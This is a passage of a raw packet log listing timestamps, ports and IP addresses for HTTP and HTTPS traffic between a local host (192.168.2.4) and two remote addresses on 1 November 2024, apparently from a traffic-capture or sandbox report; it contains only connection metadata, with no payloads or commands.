Nov 1, 2024 08:51:35.379209042 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379240036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379265070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379280090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379292011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.379302025 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379324913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.379324913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.379331112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379348040 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.379352093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.379376888 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.379395962 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.380886078 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.380937099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.380942106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.380958080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.380987883 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381005049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381006956 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381022930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381040096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381046057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381056070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381125927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381125927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381298065 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381346941 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381371975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381388903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381405115 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381418943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381437063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381448984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381673098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381699085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381715059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381731033 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381738901 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381747961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381764889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381784916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.381788015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.381820917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.382098913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.382113934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.382131100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.382145882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.382158995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.382179022 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.382183075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.382199049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.382215977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.382225037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.382236958 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.382257938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.419758081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.419787884 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.419804096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.419827938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.419856071 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.445703983 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.445774078 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:35.446820021 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:35.446829081 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.447056055 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.448204041 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:35.448312998 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:35.448339939 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.467257023 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.467279911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.467298031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.467340946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.467370033 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.471962929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.471985102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.472002983 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.472031116 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.472045898 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503231049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503288984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503298044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503324986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503341913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503351927 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503356934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503360987 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503374100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503381014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503392935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503396988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503408909 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503429890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503700018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503715038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.503747940 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.503765106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.504935980 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.504956007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.504972935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.504981995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505002022 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505013943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505105019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505119085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505141973 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505143881 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505157948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505160093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505175114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505178928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505201101 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505220890 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505570889 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505587101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505604029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505619049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505628109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505628109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505645037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505645037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505661964 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505664110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505680084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505690098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505695105 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505700111 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505711079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505719900 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505728960 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505738974 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505752087 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505774975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.505950928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.505992889 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.506330013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.506366014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.506369114 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.506386995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.506405115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.506417036 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.506418943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.506439924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.506454945 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.506475925 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.543665886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.543687105 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.543706894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.543723106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.543755054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.591386080 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.591408014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.591423035 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.591439962 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.591453075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.591479063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.591527939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.596107006 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.596127033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.596143961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.596170902 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.596193075 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.627245903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627274990 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627304077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627335072 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627351046 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627367020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627377033 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.627386093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627408981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627417088 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.627422094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.627439976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.627465010 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.627481937 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.629096985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629143000 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629151106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.629159927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629225969 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.629256010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629271984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629286051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629298925 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629302025 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.629313946 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.629329920 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.629357100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630434036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630460024 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630475998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630485058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630506992 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630532980 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630561113 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630573988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630588055 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630604029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630616903 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630620003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630639076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630656958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630660057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630660057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630686045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630693913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630703926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630714893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630723953 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630731106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630748034 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630760908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630769014 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630789995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630790949 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630806923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630821943 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630839109 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630840063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630851984 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630856991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630871058 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630872965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.630889893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630901098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.630920887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.668103933 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.668128014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.668145895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.668318033 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.716104031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.716128111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.716145992 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.716203928 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.716248035 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.720216036 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.720263004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.720279932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.720289946 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.720315933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.720323086 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.751291037 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.751389027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.751440048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.751456976 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.751473904 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.751487017 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.751491070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.751508951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.751509905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.751537085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.751574993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753030062 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753045082 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753062010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753087997 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753108978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753153086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753200054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753328085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753344059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753360033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753376007 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753376007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753396034 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753422022 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753580093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753626108 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753730059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753772974 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753806114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753818989 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.753866911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.753911018 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754092932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754107952 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754123926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754139900 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754163027 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754206896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754252911 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754409075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754425049 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754441977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754457951 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754462957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754481077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754509926 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754745007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754760027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754775047 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754796028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754805088 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754829884 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754913092 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754926920 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754944086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754956961 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.754961014 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.754976988 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.755011082 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.755068064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.755254030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.755269051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.755377054 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.755428076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.755444050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.755479097 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.755513906 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.792412996 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.792433977 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.792450905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.792592049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.792592049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.840142965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.840176105 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.840245008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.840276957 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.840321064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.840342999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.840365887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.840378046 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.844341040 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.844368935 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.844384909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.844394922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.844414949 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.875474930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.875503063 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.875519991 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.875547886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.875561953 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.875588894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.875617027 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.875632048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.875643015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.875670910 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877245903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877270937 CET	80	57777	185.215.113.16	192.168.2.4
